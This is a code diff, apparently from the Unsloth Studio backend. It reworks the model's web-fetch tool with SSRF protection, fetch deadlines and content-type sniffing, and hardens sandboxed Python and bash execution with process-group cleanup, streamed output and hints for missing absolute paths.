+    is read in chunks with the budget re-checked (and the socket timeout
+    re-tightened toward the deadline) each round. The joined bytes are identical
+    to one capped read. Returns ``(error_or_None, body_bytes)``.
+    """
+    # Best-effort handle on the underlying socket so its timeout tightens as the
+    # deadline nears; absent on test doubles, where the between-chunk budget
+    # check still bounds the read.
+    sock = getattr(getattr(getattr(resp, "fp", None), "raw", None), "_sock", None)
+    chunks = []
+    remaining = max_bytes
+    while remaining > 0:
+        budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+        if budget_error is not None:
+            try:
+                resp.close()
+            except Exception:
+                pass
+            return budget_error, b""
+        if sock is not None:
+            try:
+                sock.settimeout(_fetch_hop_timeout(timeout, deadline))
+            except Exception:
+                pass
+        chunk = resp.read(min(65536, remaining))
+        if not chunk:
+            break
+        chunks.append(chunk)
+        remaining -= len(chunk)
+    budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+    if budget_error is not None:
+        try:
+            resp.close()
+        except Exception:
+            pass
+        return budget_error, b""
+    return None, b"".join(chunks)
+
+
+def _fetch_url_raw(
+    url: str,
+    timeout: int = 30,
+    extra_headers: dict | None = None,
+    deadline: float | None = None,
+    cancel_event = None,
+) -> tuple[str | None, str, str]:
+    """Fetch a URL with SSRF protection; return ``(error, body_text, content_type)``.
+
+    ``error`` is a user-facing message string when the fetch failed (the
+    existing "Blocked:" / "Failed to fetch URL:" wording), else ``None``.
+    Blocks private/loopback/link-local targets and caps the download size.
+
+    ``deadline`` is an optional ``time.monotonic`` cutoff for the whole fetch
+    (redirect hops and body read included) and ``cancel_event`` aborts it when
+    the caller goes away; both default off so callers keep the old behavior.
     """
     from urllib.parse import urlparse
 
     parsed = urlparse(url)
     if parsed.scheme not in ("http", "https"):
-        return f"Blocked: only http/https URLs are allowed (got {parsed.scheme!r})."
+        return f"Blocked: only http/https URLs are allowed (got {parsed.scheme!r}).", "", ""
     if not parsed.hostname:
-        return "Blocked: URL is missing a hostname."
+        return "Blocked: URL is missing a hostname.", "", ""
 
     port = parsed.port or (443 if parsed.scheme == "https" else 80)
-    ok, reason, pinned_ip = _validate_and_resolve_host(parsed.hostname, port)
+    ok, reason, pinned_ip = _resolve_with_budget(
+        parsed.hostname,
+        port,
+        deadline,
+        cancel_event,
+    )
     if not ok:
-        return reason
+        return reason, "", ""
 
     try:
         from urllib.error import HTTPError as _HTTPError
@@ -1484,6 +4057,9 @@ def _fetch_page_text(
         ua = random.choice(_USER_AGENTS)
 
         for _hop in range(5):
+            budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+            if budget_error is not None:
+                return budget_error, "", ""
             # Pin to the validated IP (prevents DNS rebinding): rewrite URL to
             # the IP, set the Host header.
             cp = urlparse(current_url)
@@ -1497,57 +4073,294 @@ def _fetch_page_text(
                 _SNIHTTPSHandler(current_host),
             )
 
-            req = urllib.request.Request(
-                pinned_url,
-                headers = {
-                    "User-Agent": ua,
-                    "Host": current_host,
-                },
-            )
+            headers = {
+                "User-Agent": ua,
+                "Host": current_host,
+            }
+            if extra_headers:
+                headers.update(extra_headers)
+            req = urllib.request.Request(pinned_url, headers = headers)
             try:
-                resp = opener.open(req, timeout = timeout)
+                # Cap the socket timeout at the time left on the overall deadline
+                # so a single slow hop cannot outlast the whole fetch budget.
+                resp = opener.open(req, timeout = _fetch_hop_timeout(timeout, deadline))
             except _HTTPError as e:
                 if e.code not in (301, 302, 303, 307, 308):
-                    return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}"
+                    return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}", "", ""
                 location = e.headers.get("Location")
                 if not location:
-                    return "Failed to fetch URL: redirect missing Location header."
+                    return "Failed to fetch URL: redirect missing Location header.", "", ""
                 current_url = urljoin(current_url, location)
                 rp = urlparse(current_url)
                 if rp.scheme not in ("http", "https") or not rp.hostname:
-                    return "Blocked: redirect target is not a valid http/https URL."
+                    return "Blocked: redirect target is not a valid http/https URL.", "", ""
                 rp_port = rp.port or (443 if rp.scheme == "https" else 80)
-                ok2, reason2, pinned_ip = _validate_and_resolve_host(
+                ok2, reason2, pinned_ip = _resolve_with_budget(
                     rp.hostname,
                     rp_port,
+                    deadline,
+                    cancel_event,
                 )
                 if not ok2:
-                    return reason2
+                    return reason2, "", ""
                 current_host = rp.hostname
                 continue
-            # Success: read capped body.
-            raw_bytes = resp.read(max_bytes)
+
+            # get_content_type() defaults to "text/plain" when the header is
+            # absent (RFC 2045); report "" instead so callers can tell a missing
+            # header apart from a server that really declared text/plain.
+            if resp.headers.get("Content-Type") is None:
+                content_type = ""
+            else:
+                content_type = (resp.headers.get_content_type() or "").lower()
+
+            # Success: read the capped body enforcing the budget between chunks
+            # (see _read_capped_body), so a slow-drip server can't stretch a
+            # single resp.read past the deadline.
+            declared_pdf = content_type == "application/pdf"
+            read_limit = _MAX_PDF_FETCH_BYTES + 1 if declared_pdf else max_bytes
+            body_error, raw_bytes = _read_capped_body(
+                resp,
+                read_limit,
+                timeout,
+                deadline,
+                cancel_event,
+            )
+            if body_error is not None:
+                return body_error, "", ""
+
+            # A missing or wrong PDF MIME type is common: once the initial text-sized
+            # read identifies PDF magic, finish the bounded download to reach the EOF xref.
+            if not declared_pdf and len(raw_bytes) == max_bytes and _has_pdf_magic(raw_bytes):
+                tail_error, tail = _read_capped_body(
+                    resp,
+                    _MAX_PDF_FETCH_BYTES - max_bytes + 1,
+                    timeout,
+                    deadline,
+                    cancel_event,
+                )
+                if tail_error is not None:
+                    return tail_error, "", ""
+                raw_bytes += tail
             break
         else:
-            return "Failed to fetch URL: too many redirects."
+            return "Failed to fetch URL: too many redirects.", "", ""
 
-        charset = resp.headers.get_content_charset() or "utf-8"
-        raw_html = raw_bytes.decode(charset, errors = "replace")
+        is_pdf = declared_pdf or _has_pdf_magic(raw_bytes)
+        if is_pdf:
+            if len(raw_bytes) > _MAX_PDF_FETCH_BYTES:
+                return (
+                    "(PDF content exceeds the download limit; not readable as text)",
+                    "",
+                    content_type,
+                )
+            budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+            if budget_error is not None:
+                return budget_error, "", content_type
+            try:
+                pdf_text = _extract_pdf_text(raw_bytes)
+            except Exception as exc:
+                logger.debug("web PDF text extraction failed (%s)", type(exc).__name__)
+                return "(PDF content could not be read as text)", "", content_type
+            budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+            if budget_error is not None:
+                return budget_error, "", content_type
+            if not pdf_text:
+                pdf_text = "(PDF contains no extractable text)"
+            # Report the true type even for a mislabeled body so the caller's "html"
+            # check routes the extracted text to the plain-text path, not html_to_markdown.
+            return None, pdf_text, "application/pdf"
+
+        # Reject known-binary MIME types before decoding. Binary is returned as the
+        # error string so the caller surfaces the placeholder, not replacement chars.
+        if not _is_text_candidate_content_type(content_type):
+            # Only echo a clean MIME token back to the model.
+            m = re.match(r"[\w.+-]+/[\w.+-]+", content_type or "")
+            safe_type = m.group(0) if m else "unknown type"
+            return (
+                f"(non-text content: {safe_type}, {len(raw_bytes)} bytes; not readable as text)",
+                "",
+                content_type,
+            )
+
+        # Catch text-labeled binary via its magic signature.
+        if _has_binary_magic(raw_bytes):
+            return (
+                f"(binary content, {len(raw_bytes)} bytes; not readable as text)",
+                "",
+                content_type,
+            )
+
+        declared = resp.headers.get_content_charset()
+        declared_codec = codecs.lookup(declared).name if declared else None
+        bom_codec = next(
+            (codec for bom, codec in _UNICODE_BOM_CODECS if raw_bytes.startswith(bom)),
+            None,
+        )
+        raw_html = raw_bytes.decode(declared or bom_codec or "utf-8", errors = "replace")
+
+        # Catch mislabeled or unlabeled binary, including valid UTF-8 controls.
+        if _looks_binary(raw_html):
+            # Rescue undeclared cp1252 only when the bytes have text structure.
+            alt = (
+                raw_bytes.decode("cp1252", "replace")
+                if declared_codec in (None, "iso8859-1")
+                and _has_single_byte_text_evidence(raw_bytes)
+                else None
+            )
+            if alt is not None and not _looks_binary(alt):
+                raw_html = alt
+            else:
+                return (
+                    f"(binary content, {len(raw_bytes)} bytes; not readable as text)",
+                    "",
+                    content_type,
+                )
+
+        return None, raw_html, content_type
     except _HTTPError as e:
-        return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}"
+        return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}", "", ""
     except Exception as e:
-        return f"Failed to fetch URL: {e}"
+        return f"Failed to fetch URL: {e}", "", ""
+
+
+# Tags that, at the very START of a body, mark it as HTML. Excludes ambiguous
+# tags (<div>/<p>/<span>/<a>/<img>/<h1>..<h6>/<table>) that legitimately open
+# centered-logo or badge-layout Markdown READMEs and must stay Markdown.
+_HTML_LEADING_TAGS = (
+    "html",
+    "head",
+    "body",
+    "title",
+    "meta",
+    "link",
+    "script",
+    "style",
+    "article",
+    "section",
+    "main",
+    "header",
+    "footer",
+    "nav",
+    "aside",
+    "figure",
+    "form",
+    "ul",
+    "ol",
+    "dl",
+    "pre",
+    "blockquote",
+)
+_HTML_LEADING_RE = re.compile(r"<(?:!doctype\s+html|/?(?:" + "|".join(_HTML_LEADING_TAGS) + r")\b)")
+
+
+def _looks_like_html(body: str) -> bool:
+    """True only when the document ITSELF opens with HTML.
+
+    Matches an HTML doctype or a leading document/structure tag after optional
+    whitespace, not a mere substring, so a Markdown README with a fenced HTML
+    example or tags further down stays Markdown. Also detects bare fragments
+    (``<body>``/``<article>``/...) with no doctype, so a page with a
+    missing/wrong Content-Type is still converted.
+    """
+    probe = body.lstrip()[:256].lower()
+    return bool(_HTML_LEADING_RE.match(probe))
+
+
+# Stricter than _HTML_LEADING_RE: only a real document opener (doctype or leading
+# <html>/<head>/<body>), never a block tag a Markdown file can open with. Used on
+# the raw GitHub README body so a Markdown README starting with an HTML block is
+# not run through html_to_markdown, which would collapse its headings, lists and
+# fenced code onto one line.
+_HTML_DOCUMENT_RE = re.compile(r"<(?:!doctype\s+html\b|/?(?:html|head|body)\b)")
+
+
+def _looks_like_html_document(body: str) -> bool:
+    """True only when the body opens as a full HTML document (e.g. a .html README)."""
+    probe = body.lstrip()[:256].lower()
+    return bool(_HTML_DOCUMENT_RE.match(probe))
+
+
+def _truncate_page_text(text: str, max_chars: int) -> str:
+    if not text:
+        return "(page returned no readable text)"
+    if len(text) > max_chars:
+        return text[:max_chars] + f"\n\n... (truncated, {len(text)} chars total)"
+    return text
+
+
+def _fetch_page_text(
+    url: str,
+    max_chars: int = _MAX_PAGE_CHARS,
+    timeout: int = 30,
+    cancel_event = None,
+) -> str:
+    """Fetch a URL and return readable text content.
+
+    HTML responses are converted to Markdown with a main-content heuristic
+    (``<article>``/``<main>`` scoping, hidden-element and boilerplate
+    stripping); non-HTML text responses are returned as-is. GitHub repo root
+    pages are rewritten to the README API so the model reads the README
+    instead of the repo page's UI chrome. Blocks private/loopback/link-local
+    targets (SSRF protection) and caps the download size.
+    """
+    # One wall-clock budget for the whole fetch. The README API attempt and its
+    # HTML fallback both draw from it, so a slow/failed API call cannot hand the
+    # fallback a fresh full timeout and double the worst case.
+    deadline = None if timeout is None else time.monotonic() + timeout
+    readme_api_url = _github_repo_readme_api_url(url)
+    if readme_api_url:
+        err, body, _ctype = _fetch_url_raw(
+            readme_api_url,
+            timeout = timeout,
+            extra_headers = {
+                "Accept": "application/vnd.github.raw+json",
+                "X-GitHub-Api-Version": "2022-11-28",
+            },
+            deadline = deadline,
+            cancel_event = cancel_event,
+        )
+        # The README API is unauthenticated and rate-limited; on any failure fall
+        # back to the HTML page fetch. A 200 body is authoritative even when it is
+        # HTML (a .html README): convert it rather than falling back to the repo
+        # page's UI chrome, keeping the raw body if extraction yields nothing.
+        if err is None and body.strip():
+            readme_body = body
+            # The raw file is almost always Markdown. Only a real HTML document (a
+            # .html README) is converted; a Markdown README that merely opens with
+            # a block tag is kept as-is (see _HTML_DOCUMENT_RE).
+            if _looks_like_html_document(body):
+                from ._html_to_md import html_to_markdown
+                converted = html_to_markdown(body, main_content = True)
+                readme_body = converted if converted.strip() else body
+            if readme_body.strip():
+                return _truncate_page_text(
+                    f"README of {url} (fetched via the GitHub README API):\n\n" + readme_body,
+                    max_chars,
+                )
+
+    err, body, content_type = _fetch_url_raw(
+        url,
+        timeout = timeout,
+        deadline = deadline,
+        cancel_event = cancel_event,
+    )
+    if err is not None:
+        return err
+
+    # Trust a declared HTML type, and otherwise sniff the body: servers with a
+    # missing or wrong Content-Type (e.g. text/plain on an HTML page) still get
+    # converted, matching the pre-extraction behavior of always converting.
+    is_html = "html" in content_type or _looks_like_html(body)
+    if not is_html:
+        # Plain text / markdown / JSON (e.g. raw.githubusercontent.com):
+        # converting through the HTML renderer would collapse its whitespace.
+        return _truncate_page_text(body.strip(), max_chars)
 
     # Convert HTML to Markdown with the builtin converter (no external deps).
     from ._html_to_md import html_to_markdown
 
-    text = html_to_markdown(raw_html)
-
-    if not text:
-        return "(page returned no readable text)"
-    if len(text) > max_chars:
-        text = text[:max_chars] + f"\n\n... (truncated, {len(text)} chars total)"
-    return text
+    return _truncate_page_text(html_to_markdown(body, main_content = True), max_chars)
 
 
 def _web_search(
@@ -1555,6 +4368,7 @@ def _web_search(
     max_results: int = 5,
     timeout: int = _EXEC_TIMEOUT,
     url: str | None = None,
+    cancel_event = None,
 ) -> str:
     """Search the web using DuckDuckGo and return formatted results.
 
@@ -1563,14 +4377,25 @@ def _web_search(
     # Direct URL fetch mode.
     if url and url.strip():
         fetch_timeout = 60 if timeout is None else min(timeout, 60)
-        return _fetch_page_text(url.strip(), timeout = fetch_timeout)
+        return _fetch_page_text(
+            url.strip(),
+            timeout = fetch_timeout,
+            cancel_event = cancel_event,
+        )
 
     if not query or not query.strip():
         return "No query provided."
+    # A disconnect sets cancel_event; DDGS.text() is blocking and cannot be
+    # interrupted mid-flight, so gate on either side: skip an already-cancelled
+    # request, and discard results that land after the client has gone.
+    if cancel_event is not None and cancel_event.is_set():
+        return "Search cancelled."
     try:
         from ddgs import DDGS
 
         results = DDGS(timeout = timeout).text(query, max_results = max_results)
+        if cancel_event is not None and cancel_event.is_set():
+            return "Search cancelled."
         if not results:
             return "No results found."
         parts = []
@@ -2568,19 +5393,37 @@ def _check_code_safety(code: str) -> str | None:
     return None
 
 
+def _capture_process_group(proc):
+    """Return the setsid process-group id, or ``None`` when unavailable.
+
+    Captured right after ``Popen`` so a later ``poll()`` / ``wait()`` that reaps
+    the leader cannot make ``os.getpgid(proc.pid)`` fail first. POSIX-only:
+    Windows has no process groups (and no ``os.getpgid``), so return ``None``
+    there and let the single-pid ``proc.kill()`` fallback handle cleanup.
+    """
+    if os.name != "posix" or not hasattr(os, "getpgid"):
+        return None
+    try:
+        return os.getpgid(proc.pid)
+    except (AttributeError, ProcessLookupError, PermissionError, OSError):
+        return None
+
+
 def _kill_process_tree(proc) -> None:
     """SIGKILL the setsid process group; fall back to single-pid kill."""
     if proc.poll() is not None:
         return
-    try:
-        pgid = os.getpgid(proc.pid)
-    except (ProcessLookupError, PermissionError):
-        pgid = None
-    if pgid is not None:
+    pgid = None
+    if hasattr(os, "getpgid"):
+        try:
+            pgid = os.getpgid(proc.pid)
+        except (ProcessLookupError, PermissionError, OSError):
+            pgid = None
+    if pgid is not None and hasattr(os, "killpg"):
         try:
             os.killpg(pgid, signal.SIGKILL)
             return
-        except (ProcessLookupError, PermissionError):
+        except (ProcessLookupError, PermissionError, OSError):
             pass
     try:
         proc.kill()
@@ -2588,36 +5431,250 @@ def _kill_process_tree(proc) -> None:
         pass
 
 
+def _killpg_captured(pgid) -> None:
+    """SIGKILL a process group captured before its leader was waited on.
+
+    Once ``proc`` exits, ``os.getpgid(proc.pid)`` fails and ``_kill_process_tree``
+    short-circuits, so a stdout-holding grandchild that outlived the parent could
+    not otherwise be signaled. The pre-captured setsid group id still targets the
+    whole tree. No-op with no ``os.killpg`` (Windows) or nothing captured.
+    """
+    if pgid is None or not hasattr(os, "killpg"):
+        return
+    try:
+        os.killpg(pgid, signal.SIGKILL)
+    except (ProcessLookupError, PermissionError, OSError):
+        pass
+
+
 def _cancel_watcher(
     proc,
     cancel_event,
     poll_interval = 0.2,
+    pgid = None,
 ):
-    """Daemon thread that kills a process when cancel_event is set."""
+    """Daemon thread that kills a process when cancel_event is set.
+
+    ``pgid`` is the group id captured right after spawn; killing it directly
+    reaps a stdout-holding grandchild even when the watcher's own ``poll()``
+    already reaped the leader (which makes ``_kill_process_tree`` short-circuit).
+    """
     while proc.poll() is None:
         if cancel_event is not None and cancel_event.is_set():
+            _killpg_captured(pgid)
             _kill_process_tree(proc)
             return
         cancel_event.wait(poll_interval) if cancel_event else None
 
 
 def _truncate(text: str, limit: int = _MAX_OUTPUT_CHARS) -> str:
+    # Mode-neutral notice: this result serves both the streaming UI and
+    # non-streaming callers and must stay byte-identical with and without an
+    # output_callback (a regression-tested invariant), so it can't claim the
+    # user saw the full output.
     if len(text) > limit:
-        return text[:limit] + f"\n\n... (truncated, {len(text)} chars total)"
+        return text[:limit] + (
+            f"\n\n... (truncated to {limit} chars for the model; {len(text)} chars "
+            "total. The full output is not retained here; any files the code wrote "
+            "persist in the working directory.)"
+        )
     return text
 
 
+# ChatGPT code-interpreter path conventions models write out of habit; none
+# exist in the Unsloth sandbox, so a failure on one earns the retry hint.
+_MISSING_PATH_PREFIXES = (
+    "/mnt/data",
+    "/mnt/outputs",
+    "/home/sandbox",
+    "/workspace",
+    "/tmp/outputs",
+)
+
+# Matches the quoted path in a Python OSError str and the bare path in a bash
+# "No such file or directory" error; applied only to the error line.
+_QUOTED_ABS_PATH_RE = re.compile(r"""['"](/[^'"\n]+)['"]""")
+_BASH_ABS_PATH_RE = re.compile(r"(/[^\s:'\"]+):\s*No such file or directory")
+
+# The sandbox CWD is a per-thread dir under ~/studio_sandbox; an absolute path
+# under it is a genuine local miss, not a hallucinated out-of-sandbox write.
+_SANDBOX_ROOT = os.path.join(os.path.expanduser("~"), "studio_sandbox")
+
+
+def _missing_error_lines(output: str) -> list[str]:
+    """The lines that actually name a missing file (a FileNotFoundError message
+    or a bash "No such file or directory"). Traceback frame lines such as
+    ``File "/workspace/proj/script.py"`` are excluded, so an unrelated absolute
+    path mentioned elsewhere in the output is never treated as the failing one."""
+    return [
+        line
+        for line in output.splitlines()
+        if "No such file or directory" in line or "FileNotFoundError" in line
+    ]
+
+
+def _extract_missing_abs_path(output: str) -> str | None:
+    """Pull the absolute path a FileNotFoundError / bash error named, if any."""
+    for line in reversed(_missing_error_lines(output)):
+        m = _QUOTED_ABS_PATH_RE.search(line)
+        if m:
+            return m.group(1)
+        m = _BASH_ABS_PATH_RE.search(line)
+        if m:
+            return m.group(1)
+    return None
+
+
+def _is_outside_workdir(abs_path: str, workdir: str | None = None) -> bool:
+    """True when ``abs_path`` is not the working directory or under it.
+
+    ``workdir`` is the executor's actual working directory (defaults to the
+    sandbox root). Project-backed sessions run under a root OUTSIDE
+    ``~/studio_sandbox`` (see ``_get_workdir``), so a legitimate miss inside a
+    project must be judged against the real workdir, not a static sandbox root,
+    or it is wrongly classed as an external habit path.
+    """
+    try:
+        root = os.path.realpath(workdir or _SANDBOX_ROOT)
+        rp = os.path.realpath(abs_path)
+    except (OSError, ValueError):
+        return True
+    return rp != root and not rp.startswith(root + os.sep)
+
+
+def _missing_path_hint(output: str, workdir: str | None = None) -> str:
+    """Model-visible healing when an execution fails on an absolute path missing
+    in the sandbox (a code-interpreter habit path, or one invented from the CWD).
+    Detected on the full pre-truncation output; the hint echoes the failing path
+    so the model retries with the right relative name."""
+    error_lines = _missing_error_lines(output)
+    if not error_lines:
+        return ""
+    abs_path = _extract_missing_abs_path(output)
+    # A convention prefix is an out-of-sandbox signal only when the exact failing
+    # path could not be isolated; scoped to the failing-path error line(s) so a
+    # prefix mentioned elsewhere doesn't trigger a misleading hint.
+    convention = any(prefix in line for line in error_lines for prefix in _MISSING_PATH_PREFIXES)
+    if abs_path is not None:
+        # Judge the isolated path against the real workdir even when it matches a
+        # convention prefix, so a genuine miss inside a project rooted under such
+        # a prefix (e.g. /workspace/proj) is not steered out of its subdirectory.
+        if not _is_outside_workdir(abs_path, workdir):
+            return ""
+    elif not convention:
+        # Nothing marks this as an out-of-sandbox miss; stay silent.
+        return ""
+    if abs_path:
+        example = f"'{os.path.basename(abs_path)}', not '{abs_path}'"
+    else:
+        example = "'output.html', not '/mnt/data/output.html'"
+    return (
+        "\nHint: that absolute path does not exist in this sandbox. The current "
+        "working directory is writable and persists for this conversation; retry "
+        f"with a relative path (for example {example})."
+    )
+
+
+def _drain_process_output(
+    proc,
+    timeout,
+    output_callback,
+    cancel_event = None,
+    *,
+    pgid = None,
+) -> tuple[str, bool]:
+    """``proc.communicate(timeout=...)`` equivalent that also streams each
+    stdout line to ``output_callback`` as it is produced.
+
+    Returns ``(output, timed_out)``. The joined output is identical to what
+    ``communicate`` would return: the same TextIOWrapper decodes the stream,
+    so encoding, error replacement, and newline translation all match. On
+    timeout the process tree is killed (mirroring the non-streaming path).
+    With ``timeout=None`` the drain waits for EOF like ``communicate`` would,
+    stopping early only when ``cancel_event`` is set.
+    """
+    chunks: list[str] = []
+
+    # Captured before waiting so a stdout-holding grandchild can still be killed
+    # after the leader is reaped (getpgid then fails). Callers pass it in from
+    # right after Popen; fall back to capturing here for direct callers.
+    if pgid is None:
+        pgid = _capture_process_group(proc)
+
+    def _reader() -> None:
+        try:
+            for line in iter(proc.stdout.readline, ""):
+                chunks.append(line)
+                if output_callback is not None:
+                    try:
+                        output_callback(line)
+                    except Exception:  # noqa: BLE001 - observer must never kill the tool
+                        logger.debug("tool output_callback raised", exc_info = True)
+        except (ValueError, OSError):
+            pass  # pipe closed during kill
+
+    reader = threading.Thread(target = _reader, daemon = True)
+    reader.start()
+    started_at = time.monotonic()
+    timed_out = False
+    try:
+        proc.wait(timeout = timeout)
+    except subprocess.TimeoutExpired:
+        timed_out = True
+        _kill_process_tree(proc)
+        # Also kill the pre-captured group in case the leader was reaped in the
+        # window before _kill_process_tree sampled its pgid, reaping a
+        # stdout-holding grandchild (matches the non-streaming timeout path).
+        _killpg_captured(pgid)
+        try:
+            proc.wait(timeout = 5)
+        except subprocess.TimeoutExpired:
+            pass
+    # A grandchild that inherited stdout can hold the pipe open past the main
+    # process's exit.
+    if not timed_out:
+        if timeout is not None:
+            # Wait out the remaining budget like communicate() would, polling
+            # cancel_event in slices (the cancel watcher is gone once the leader
+            # exits) so a chatty grandchild doesn't keep draining after a Stop.
+            # The normal path still reaches EOF on its own with the same bytes.
+            deadline = started_at + timeout
+            while reader.is_alive():
+                remaining = deadline - time.monotonic()
+                if remaining <= 0:
+                    timed_out = True
+                    _killpg_captured(pgid)
+                    break
+                if cancel_event is not None and cancel_event.is_set():
+                    _killpg_captured(pgid)
+                    break
+                reader.join(timeout = min(0.5, remaining))
+        else:
+            # Unlimited timeout: drain until the pipe closes (like
+            # communicate(timeout=None)), stopping early only on cancellation.
+            while reader.is_alive():
+                if cancel_event is not None and cancel_event.is_set():
+                    _killpg_captured(pgid)
+                    break
+                reader.join(timeout = 0.5)
+    reader.join(timeout = 5)
+    return "".join(chunks), timed_out
+
+
 def _python_exec(
     code: str,
     cancel_event = None,
     timeout: int = _EXEC_TIMEOUT,
     session_id: str | None = None,
     disable_sandbox: bool = False,
+    output_callback = None,
 ) -> str:
     """Execute Python code in a subprocess sandbox.
 
     disable_sandbox (Bypass Permissions): skip the safety analysis and rlimit
     pre-exec, and use the host env minus secrets.
+    output_callback: optional callable(str) streamed each stdout line as it is
+    produced; the returned result is unchanged.
     """
     if not code or not code.strip():
         return "No code provided."
@@ -2631,7 +5688,7 @@ def _python_exec(
         # Close the /proc/<parent>/environ secret-recovery path first; if it
         # cannot be applied, fail closed rather than leak the parent environ.
         return (
-            "Execution error: could not harden the Studio process against "
+            "Execution error: could not harden the Unsloth process against "
             "/proc environment reads; refusing bypass execution."
         )
 
@@ -2676,23 +5733,32 @@ def _python_exec(
         else:
             popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
 
-        proc = subprocess.Popen([sys.executable, tmp_path], **popen_kwargs)
+        # -u forces unbuffered child stdout so a bare print() streams live
+        # instead of sitting in the pipe's block buffer until exit. Applied
+        # unconditionally to stay byte-identical with and without streaming;
+        # unlike PYTHONUNBUFFERED=1 it never pollutes the child's os.environ.
+        proc = subprocess.Popen([sys.executable, "-u", tmp_path], **popen_kwargs)
+
+        # Capture the group before any watcher can reap the leader (see
+        # _capture_process_group); None on Windows.
+        pgid = _capture_process_group(proc)
 
-        # Spawn cancel watcher if we have a cancel event
         if cancel_event is not None:
             watcher = threading.Thread(
-                target = _cancel_watcher, args = (proc, cancel_event), daemon = True
+                target = _cancel_watcher,
+                args = (proc, cancel_event, 0.2, pgid),
+                daemon = True,
             )
             watcher.start()
 
-        try:
-            output, _ = proc.communicate(timeout = timeout)
-        except subprocess.TimeoutExpired:
-            _kill_process_tree(proc)
-            try:
-                proc.communicate(timeout = 5)
-            except subprocess.TimeoutExpired:
-                pass
+        # Always drain via _drain_process_output (output_callback may be None):
+        # it kills the captured group on cancellation, reaping a grandchild that
+        # outlived the leader, and returns bytes identical to communicate() so
+        # the streaming vs non-streaming result stays byte-identical.
+        output, timed_out = _drain_process_output(
+            proc, timeout, output_callback, cancel_event, pgid = pgid
+        )
+        if timed_out:
             return _truncate(f"Execution timed out after {timeout} seconds.")
 
         if cancel_event is not None and cancel_event.is_set():
@@ -2701,7 +5767,13 @@ def _python_exec(
         result = output or ""
         if proc.returncode != 0:
             result = f"Exit code {proc.returncode}:\n{result}"
+        # Detect the missing-path pattern on the full output (truncation could
+        # hide the trailing traceback); append the hint after truncation. External
+        # paths are judged against the real workdir (project sessions live outside
+        # the default sandbox root).
+        hint = _missing_path_hint(result, workdir)
         result = _truncate(result) if result.strip() else "(no output)"
+        result += hint
 
         # Detect new/overwritten images and append sentinel for the frontend
         if session_id and os.path.isdir(workdir):
@@ -2740,11 +5812,14 @@ def _bash_exec(
     timeout: int = _EXEC_TIMEOUT,
     session_id: str | None = None,
     disable_sandbox: bool = False,
+    output_callback = None,
 ) -> str:
     """Execute a bash command in a subprocess sandbox.
 
     disable_sandbox (Bypass Permissions): skip the command blocklist and rlimit
     pre-exec, and use the host env minus secrets.
+    output_callback: optional callable(str) streamed each stdout line as it is
+    produced; the returned result is unchanged.
     """
     if not command or not command.strip():
         return "No command provided."
@@ -2758,7 +5833,7 @@ def _bash_exec(
         # Close the /proc/<parent>/environ secret-recovery path first; if it
         # cannot be applied, fail closed rather than leak the parent environ.
         return (
-            "Execution error: could not harden the Studio process against "
+            "Execution error: could not harden the Unsloth process against "
             "/proc environment reads; refusing bypass execution."
         )
 
@@ -2769,6 +5844,11 @@ def _bash_exec(
             stdout = subprocess.PIPE,
             stderr = subprocess.STDOUT,
             text = True,
+            # Match _python_exec: decode utf-8 with "replace" so invalid output
+            # bytes never raise UnicodeDecodeError (which the streaming reader
+            # thread would swallow), keeping both paths byte-identical.
+            encoding = "utf-8",
+            errors = "replace",
             cwd = workdir,
             env = safe_env,
         )
@@ -2779,20 +5859,25 @@ def _bash_exec(
 
         proc = subprocess.Popen(_get_shell_cmd(command), **popen_kwargs)
 
+        # Capture the group before any watcher can poll/reap the leader (see
+        # _python_exec); None on Windows.
+        pgid = _capture_process_group(proc)
+
         if cancel_event is not None:
             watcher = threading.Thread(
-                target = _cancel_watcher, args = (proc, cancel_event), daemon = True
+                target = _cancel_watcher,
+                args = (proc, cancel_event, 0.2, pgid),
+                daemon = True,
             )
             watcher.start()
 
-        try:
-            output, _ = proc.communicate(timeout = timeout)
-        except subprocess.TimeoutExpired:
-            _kill_process_tree(proc)
-            try:
-                proc.communicate(timeout = 5)
-            except subprocess.TimeoutExpired:
-                pass
+        # Always drain via _drain_process_output (see _python_exec): kills the
+        # captured group on cancellation and returns bytes identical to
+        # communicate(), keeping streaming vs non-streaming byte-identical.
+        output, timed_out = _drain_process_output(
+            proc, timeout, output_callback, cancel_event, pgid = pgid
+        )
+        if timed_out:
             return _truncate(f"Execution timed out after {timeout} seconds.")
 
         if cancel_event is not None and cancel_event.is_set():
@@ -2801,7 +5886,10 @@ def _bash_exec(
         result = output or ""
         if proc.returncode != 0:
             result = f"Exit code {proc.returncode}:\n{result}"
-        return _truncate(result) if result.strip() else "(no output)"
+        # Same missing-path healing as _python_exec.
+        hint = _missing_path_hint(result, workdir)
+        result = _truncate(result) if result.strip() else "(no output)"
+        return result + hint
 
     except Exception as e:
         return f"Execution error: {e}"
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index 4e27183d88..9f301ba37e 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -13,6 +13,7 @@ mp.Queue, and exits on shutdown or unload. Pattern follows core/training/worker.
 from __future__ import annotations
 
 import base64
+import json
 from loggers import get_logger
 import os
 import queue as _queue
@@ -26,6 +27,9 @@ from typing import Any
 logger = get_logger(__name__)
 from utils.hardware import apply_gpu_ids
 
+_SHARE_OBJECT_MAX_BYTES = 1 << 20
+_SHARE_OBJECT_ERROR_SIZE = -1
+
 # studio/backend root, prepended to sys.path so the spawned subprocess can
 # import the utils/core packages.
 _BACKEND_PATH = str(Path(__file__).resolve().parent.parent.parent)
@@ -75,6 +79,17 @@ def _send_response(resp_queue: Any, response: dict) -> None:
         logger.error("Failed to send response: %s", exc)
 
 
+def _encode_share_object(obj: Any) -> bytes:
+    data = json.dumps(obj, separators = (",", ":"), ensure_ascii = False).encode("utf-8")
+    if len(data) > _SHARE_OBJECT_MAX_BYTES:
+        raise ValueError("Distributed object share payload is too large")
+    return data
+
+
+def _decode_share_object(data: Any) -> Any:
+    return json.loads(bytes(data.tolist()).decode("utf-8"))
+
+
